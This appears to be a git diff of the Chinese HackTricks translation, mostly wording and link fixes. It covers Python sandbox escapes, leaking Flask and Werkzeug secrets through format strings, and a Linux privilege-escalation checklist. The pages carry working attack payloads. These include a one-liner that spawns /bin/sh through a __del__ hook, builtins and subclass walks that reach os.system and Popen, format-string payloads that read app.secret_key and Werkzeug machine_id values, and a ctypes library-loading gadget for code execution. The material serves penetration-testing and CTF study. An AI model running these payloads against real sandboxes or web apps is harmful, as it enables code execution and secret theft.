[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## 通过编码绕过保护 (UTF-7)
## 通过编码绕过保护UTF-7
在 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) 中,使用 UTF-7 在一个看似沙箱的环境中加载和执行任意的 python 代码:
```python
@ -301,22 +301,22 @@ a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
```
## 内置函数
## 内置
- [**python2 的内置函数**](https://docs.python.org/2/library/functions.html)
- [**python3 的内置函数**](https://docs.python.org/3/library/functions.html)
如果你可以访问 **`__builtins__`** 对象,你可以导入库(注意你也可以在最后一节中看到其他字符串表示):
如果你可以访问 **`__builtins__`** 对象,你可以导入库(注意你也可以在最后一节中使用其他字符串表示):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### No Builtins
当你没有 `__builtins__` 时,你将无法导入任何内容,甚至无法读取或写入文件,因为 **所有全局函数**(如 `open``import``print`...**都没有加载**。\
然而,**默认情况下python 会在内存中导入很多模块**。这些模块看似无害,但其中一些 **也导入了危险** 的功能,可以被访问以获得 **任意代码执行**
当你没有 `__builtins__` 时,你将无法导入任何内容,甚至无法读取或写入文件,因为 **所有全局函数**(如 `open``import``print`...**都没有加载**。\
然而,**默认情况下python 会在内存中导入很多模块**。这些模块看起来可能是无害的,但其中一些 **也导入了危险** 的功能,可以被访问以获得 **任意代码执行**
在以下示例中,你可以观察到如何 **滥用** 一些加载的 "**无害**" 模块以 **访问** **危险** **功能**
在以下示例中,你可以观察到如何 **滥用** 一些加载的 "**无害**" 模块**访问** 其中的 **危险** **功能**
**Python2**
```python
@ -358,7 +358,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 用于查找数十/**数百**个 **地方**,您可以找到 **内置函数**
[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 用于查找数十/**数百**个 **位置**,您可以在其中找到 **内置函数**
#### Python2 和 Python3
```python
@ -400,15 +400,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 用于查找数十/**数百**个 **位置**,您可以在其中找到 **globals**。
[**下面有一个更大的函数**](#recursive-search-of-builtins-globals) 来查找数十/**数百**个可以找到 **globals****地方**。
## 发现任意执行
在这里,我想解释如何轻松发现 **更危险功能** 并提出更可靠的利用方法。
在这里,我想解释如何轻松发现 **加载的更危险功能** 并提出更可靠的利用方法。
#### 通过绕过访问子类
#### 访问带有绕过的子类
此技术最敏感的部分之一是能够 **访问基子类**。在之前的示例中,这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有 **其他可能的方法**
此技术最敏感的部分之一是能够 **访问基子类**。在之前的示例中,这是通过 `''.__class__.__base__.__subclasses__()` 完成的,但还有 **其他可能的方法**
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -438,7 +438,7 @@ defined_func.__class__.__base__.__subclasses__()
```
### 查找加载的危险库
例如,知道使用库 **`sys`** 可以 **导入任意库**,您可以搜索所有 **加载的模块中导入了 sys 的模块**
例如,知道使用库 **`sys`** 可以 **导入任意库**,您可以搜索所有 **加载的模块中包含 sys 的模块**
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
@ -534,10 +534,10 @@ execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## 递归搜索内置对象、全局变量...
## 递归搜索内置对象、全局对象...
> [!WARNING]
> 这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**,只需使用这个脚本**递归查找可以找到该对象的地方。**
> 这真是**太棒了**。如果你**正在寻找像 globals、builtins、open 或其他任何对象**,只需使用这个脚本**递归查找可以找到该对象的地方。**
```python
import os, sys # Import these to find more gadgets
@ -661,7 +661,7 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
## Python 格式字符串
如果您**发送**一个**字符串**到 python,该字符串将被**格式化**,您可以使用 `{}` 来访问**python 内部信息。** 您可以使用之前的示例来访问全局变量或内置函数,例如。
如果您**发送**一个将要**格式化**的**字符串**到 python您可以使用 `{}` 来访问**python 内部信息。** 您可以使用之前的示例来访问全局变量或内置函数,例如。
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -685,7 +685,7 @@ get_name_for_avatar(st, people_obj = people)
还要注意,你可以使用 `.__dict__` 来枚举对象的元素 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
格式字符串的其他一些有趣特性是可以通过添加 **`!s`**、**`!r`** 和 **`!a`** 分别在指定对象中 **执行** **函数** **`str`**、**`repr`** 和 **`ascii`**
格式字符串的其他一些有趣特性是可以通过添加 **`!s`**、**`!r`** 和 **`!a`** 分别在指定对象中 **执行** **`str`**、**`repr`** 和 **`ascii`** 函数
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
@ -701,7 +701,7 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**更多关于** **格式** **字符串** 示例的例子可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
**更多关于** **格式** **字符串** **的示例** 可以在 [**https://pyformat.info/**](https://pyformat.info) 找到
> [!CAUTION]
> 还请查看以下页面,了解将从 Python 内部对象中**读取敏感信息**的工具:
@ -732,16 +732,16 @@ str(x) # Out: clueless
### 从格式到 RCE 加载库
根据 [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/),可以通过利用 Python 中的格式字符串漏洞从磁盘加载任意库。
根据 [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/),可以通过利用 python 中的格式字符串漏洞从磁盘加载任意库。
作为提醒,每次在 Python 中执行操作时,都会执行某个函数。例如 `2*3` 将执行 **`(2).mul(3)`** 或 **`{'a':'b'}['a']`** 将是 **`{'a':'b'}.__getitem__('a')`**。
作为提醒,每次在 python 中执行操作时,都会执行某个函数。例如 `2*3` 将执行 **`(2).mul(3)`** 或 **`{'a':'b'}['a']`** 将是 **`{'a':'b'}.__getitem__('a')`**。
在 [**Python execution without calls**](./#python-execution-without-calls) 部分中还有更多类似的内容。
在 [**Python execution without calls**](#python-execution-without-calls) 部分中还有更多类似的内容。
Python 格式字符串漏洞不允许执行函数(不允许使用括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 那样获得 RCE。\
然而,可以使用 `[]`。因此,如果一个常见的 Python 库具有 **`__getitem__`** 或 **`__getattr__`** 方法来执行任意代码,则可以利用它们来获得 RCE。
python 格式字符串漏洞不允许执行函数(不允许使用括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 那样获得 RCE。\
然而,可以使用 `[]`。因此,如果一个常见的 python 库具有 **`__getitem__`** 或 **`__getattr__`** 方法来执行任意代码,则可以利用它们来获得 RCE。
Python 中寻找这样的 gadget写作中提供了这个 [**Github 搜索查询**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他发现了这个 [一个](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
python 中寻找这样的 gadget写作中提供了这个 [**Github 搜索查询**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在这里找到了这个 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -763,7 +763,7 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
这个工具允许**从磁盘加载库**。因此,需要以某种方式**写入或上传库**,以便正确编译并加载到被攻击的服务器上
这个工具允许**从磁盘加载库**。因此,需要以某种方式**将库写入或上传到被攻击的服务器**,以便正确加载
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
@ -787,7 +787,7 @@ return "THIS-IS-THE-FALG!"
else:
return "Nope"
```
#### 目录
#### dir
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
@ -805,7 +805,7 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**查看这里获取 globals 的更多地方**](./#globals-and-locals)
[**查看这里获取全局变量的更多地方**](#globals-and-locals)
### **访问函数代码**
@ -897,7 +897,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
注意,如果您无法在 python 沙箱中导入 `dis`,您可以获取函数的 **字节码** (`get_flag.func_code.co_code`) 并在本地 **反汇编** 它。您将看不到正在加载的变量的内容 (`LOAD_CONST`),但您可以从 (`get_flag.func_code.co_consts`) 猜测它们,因为 `LOAD_CONST` 还告诉您正在加载的变量的偏移量。
注意,如果**您无法在python沙箱中导入`dis`**,您可以获取函数的**字节码**`get_flag.func_code.co_code`)并在本地**反汇编**它。您将看不到正在加载的变量的内容(`LOAD_CONST`),但您可以从(`get_flag.func_code.co_consts`)中推测它们,因为`LOAD_CONST`也会告诉正在加载的变量的偏移量。
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -968,7 +968,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
### 重新创建一个泄露的函数
> [!WARNING]
> 在以下示例中,我们将直接从函数代码对象中获取重新创建函数所需的所有数据。在 **真实示例** 中,执行函数 **`code_type`** 所需的 **值****您需要泄露的内容**
> 在以下示例中,我们将直接从函数代码对象中获取重新创建函数所需的所有数据。在 **真实示例** 中,执行函数 **`code_type`** 所需的 **值****您需要泄露的内容**
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -1021,7 +1021,7 @@ f(42)
```
## 反编译已编译的 Python
使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具可以 **反编译** 给定的已编译 Python 代码。
使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具可以 **反编译** 给定的已编译 Python 代码。
**查看这个教程**
@ -1043,7 +1043,7 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
被绕过
将被绕过
## 参考文献

View File

@ -4,11 +4,11 @@
## 基本信息
不同的漏洞,如 [**Python Format Strings**](bypass-python-sandboxes/#python-format-string) 或 [**Class Pollution**](class-pollution-pythons-prototype-pollution.md),可能允许你 **读取 Python 内部数据,但不允许你执行代码**。因此,渗透测试人员需要充分利用这些读取权限,以 **获取敏感权限并升级漏洞**
不同的漏洞,如 [**Python Format Strings**](bypass-python-sandboxes/index.html#python-format-string) 或 [**Class Pollution**](class-pollution-pythons-prototype-pollution.md),可能允许你 **读取 Python 内部数据,但不允许你执行代码**。因此,渗透测试人员需要充分利用这些读取权限,以 **获取敏感权限并升级漏洞**
### Flask - 读取密钥
Flask 应用程序的主页面可能会有 **`app`** 全局对象,在这里 **配置了这个密钥**
Flask 应用程序的主页面可能会有 **`app`** 全局对象,其中 **配置了这个密钥**
```python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
@ -25,7 +25,7 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se
### Werkzeug - machine_id 和 node uuid
[**使用此写作中的有效载荷**](https://vozec.fr/writeups/tweedle-dum-dee/),您将能够访问**machine_id**和**uuid**节点,这些是您需要的**主要秘密**,以[**生成 Werkzeug pin**](../../network-services-pentesting/pentesting-web/werkzeug.md),您可以在**调试模式启用时**使用它来访问 `/console` 中的 Python 控制台:
[**使用此写作中的有效载荷**](https://vozec.fr/writeups/tweedle-dum-dee/),您将能够访问**machine_id**和**uuid**节点,这些是您需要的**主要秘密**,以[**生成 Werkzeug pin**](../../network-services-pentesting/pentesting-web/werkzeug.md),您可以在**调试模式启用时**`/console` 访问 Python 控制台:
```python
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}

View File

@ -1,143 +1,143 @@
# 清单 - Linux 权限提升
# Checklist - Linux Privilege Escalation
{{#include ../banners/hacktricks-training.md}}
### **查找 Linux 本地权限提升向量的最佳工具:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### **最佳工具查找Linux本地权限提升向量:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### [系统信息](privilege-escalation/#system-information)
### [系统信息](privilege-escalation/index.html#system-information)
- [ ] 获取 **操作系统信息**
- [ ] 检查 [**PATH**](privilege-escalation/#path),是否有 **可写文件夹**
- [ ] 检查 [**环境变量**](privilege-escalation/#env-info),是否有敏感信息?
- [ ] 搜索 [**内核漏洞**](privilege-escalation/#kernel-exploits) **使用脚本**DirtyCow
- [ ] **检查** [**sudo 版本是否存在漏洞**](privilege-escalation/#sudo-version)
- [ ] [**Dmesg** 签名验证失败](privilege-escalation/#dmesg-signature-verification-failed)
- [ ] 更多系统枚举[日期系统统计CPU 信息,打印机](privilege-escalation/#more-system-enumeration)
- [ ] [枚举更多防御措施](privilege-escalation/#enumerate-possible-defenses)
- [ ] 检查 [**PATH**](privilege-escalation/index.html#path),是否有 **可写文件夹**
- [ ] 检查 [**环境变量**](privilege-escalation/index.html#env-info),是否有敏感信息?
- [ ] 搜索 [**内核漏洞**](privilege-escalation/index.html#kernel-exploits) **使用脚本** (DirtyCow?)
- [ ] **检查** [**sudo版本是否存在漏洞**](privilege-escalation/index.html#sudo-version)
- [ ] [**Dmesg** 签名验证失败](privilege-escalation/index.html#dmesg-signature-verification-failed)
- [ ] 更多系统枚举 ([日期系统统计CPU信息打印机](privilege-escalation/index.html#more-system-enumeration))
- [ ] [枚举更多防御措施](privilege-escalation/index.html#enumerate-possible-defenses)
### [驱动器](privilege-escalation/#drives)
### [驱动器](privilege-escalation/index.html#drives)
- [ ] **列出已挂载**的驱动器
- [ ] **列出已挂载** 驱动器
- [ ] **有未挂载的驱动器吗?**
- [ ] **fstab 中有任何凭据吗?**
- [ ] **fstab中有任何凭据吗**
### [**已安装软件**](privilege-escalation/#installed-software)
### [**已安装软件**](privilege-escalation/index.html#installed-software)
- [ ] **检查是否有**[ **有用的软件**](privilege-escalation/#useful-software) **已安装**
- [ ] **检查是否有** [**易受攻击的软件**](privilege-escalation/#vulnerable-software-installed) **已安装**
- [ ] **检查是否有** [**有用的软件**](privilege-escalation/index.html#useful-software) **已安装**
- [ ] **检查是否有** [**易受攻击的软件**](privilege-escalation/index.html#vulnerable-software-installed) **已安装**
### [进程](privilege-escalation/#processes)
### [进程](privilege-escalation/index.html#processes)
- [ ] 是否有 **未知软件在运行**
- [ ] 是否有软件以 **超出其应有的权限**运行?
- [ ] 搜索 **正在运行进程的漏洞**(特别是正在运行的版本)
- [ ] 你能 **修改任何正在运行进程的二进制文件**吗?
- [ ] **监控进程**并检查是否有任何有趣的进程频繁运行。
- [ ] 你能 **读取**一些有趣的 **进程内存**(可能保存密码的地方)吗?
- [ ] 是否有软件以 **超出其应有的权限** 运行?
- [ ] 搜索 **正在运行进程的漏洞** (特别是正在运行的版本)
- [ ] 你能 **修改任何正在运行进程的二进制文件** 吗?
- [ ] **监控进程**检查是否有任何有趣的进程频繁运行。
- [ ] 你能 **读取** 一些有趣的 **进程内存** (可能保存密码的地方) 吗?
### [计划任务/Cron 任务?](privilege-escalation/#scheduled-jobs)
### [计划任务/Cron作业?](privilege-escalation/index.html#scheduled-jobs)
- [ ] [**PATH**](privilege-escalation/#cron-path) 是否被某些 cron 修改且你可以 **写入**
- [ ] 在 cron 任务中有任何 [**通配符**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) 吗?
- [ ] 有一些 [**可修改的脚本**](privilege-escalation/#cron-script-overwriting-and-symlink) 正在 **执行**或在 **可修改文件夹**中?
- [ ] 你是否检测到某些 **脚本** 可能或正在被 [**频繁执行**](privilege-escalation/#frequent-cron-jobs)?(每 1、2 或 5 分钟)
- [ ] [**PATH**](privilege-escalation/index.html#cron-path) 是否被某些cron修改且你可以 **写入**
- [ ] 在cron作业中有任何 [**通配符**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) 吗?
- [ ] 有一些 [**可修改的脚本**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) 正在 **执行** 或在 **可修改文件夹** 中?
- [ ] 你是否检测到某些 **脚本** 可能或正在被 [**频繁执行**](privilege-escalation/index.html#frequent-cron-jobs) (每1、2或5分钟)
### [服务](privilege-escalation/#services)
### [服务](privilege-escalation/index.html#services)
- [ ] 有任何 **可写的 .service** 文件吗?
- [ ] 有任何 **可写的二进制文件****服务** 执行吗?
- [ ] 在 systemd PATH 中有任何 **可写文件夹**
- [ ] 在systemd PATH中有任何 **可写文件夹**
### [定时器](privilege-escalation/#timers)
### [定时器](privilege-escalation/index.html#timers)
- [ ] 有任何 **可写的定时器**
- [ ] 有任何 **可写的定时器**
### [套接字](privilege-escalation/#sockets)
### [套接字](privilege-escalation/index.html#sockets)
- [ ] 有任何 **可写的 .socket** 文件吗?
- [ ] 你能 **与任何套接字通信**吗?
- [ ] **HTTP 套接字**中有有趣的信息吗?
- [ ] 你能 **与任何套接字通信** 吗?
- [ ] **HTTP套接字** 有有趣的信息吗?
### [D-Bus](privilege-escalation/#d-bus)
### [D-Bus](privilege-escalation/index.html#d-bus)
- [ ] 你能 **与任何 D-Bus 通信**吗?
- [ ] 你能 **与任何D-Bus通信** 吗?
### [网络](privilege-escalation/#network)
### [网络](privilege-escalation/index.html#network)
- [ ] 枚举网络以了解你的位置
- [ ] **打开的端口你之前无法访问**,现在可以在机器内部获取 shell 吗
- [ ] 你能使用 `tcpdump` **嗅探流量**吗?
- [ ] **打开的端口你之前无法访问** 进入机器后
- [ ] 你能使用 `tcpdump` **嗅探流量** 吗?
### [用户](privilege-escalation/#users)
### [用户](privilege-escalation/index.html#users)
- [ ] 通用用户/组 **枚举**
- [ ] 你有一个 **非常大的 UID** 吗? **机器** **易受攻击**吗?
- [ ] 你能 [**通过你所属的组提升权限**](privilege-escalation/interesting-groups-linux-pe/)吗?
- [ ] 你有一个 **非常大的UID** 吗? **机器** **易受攻击** 吗?
- [ ] 你能 [**通过你所属的组提升权限**](privilege-escalation/interesting-groups-linux-pe/) 吗?
- [ ] **剪贴板** 数据?
- [ ] 密码策略?
- [ ] 尝试 **使用**你之前发现的每个 **已知密码** 登录 **每个** 可能的 **用户**也尝试不带密码登录。
- [ ] 尝试 **使用** 你之前发现的每个 **已知密码** 登录 **每个** 可能的 **用户** 尝试在没有密码的情况下登录。
### [可写 PATH](privilege-escalation/#writable-path-abuses)
### [可写的PATH](privilege-escalation/index.html#writable-path-abuses)
- [ ] 如果你对 **PATH 中的某个文件夹有写权限**,你可能能够提升权限
- [ ] 如果你对某个PATH中的文件夹 **具有写权限**,你可能能够提升权限
### [SUDO SUID 命令](privilege-escalation/#sudo-and-suid)
### [SUDO和SUID命令](privilege-escalation/index.html#sudo-and-suid)
- [ ] 你能执行 **任何带 sudo 的命令**吗?你能用它来以 root 身份读取、写入或执行任何东西吗?([**GTFOBins**](https://gtfobins.github.io)
- [ ] 是否有任何 **可利用的 SUID 二进制文件**[**GTFOBins**](https://gtfobins.github.io)
- [ ] [**sudo** 命令是否 **受限**于 **路径**?你能 **绕过** 限制吗](privilege-escalation/#sudo-execution-bypassing-paths)
- [ ] [**Sudo/SUID 二进制文件没有指定路径**](privilege-escalation/#sudo-command-suid-binary-without-command-path)
- [ ] [**SUID 二进制文件指定路径**](privilege-escalation/#suid-binary-with-command-path)?绕过
- [ ] [**LD_PRELOAD 漏洞**](privilege-escalation/#ld_preload)
- [ ] [**SUID 二进制文件中缺少 .so 库**](privilege-escalation/#suid-binary-so-injection)来自可写文件夹?
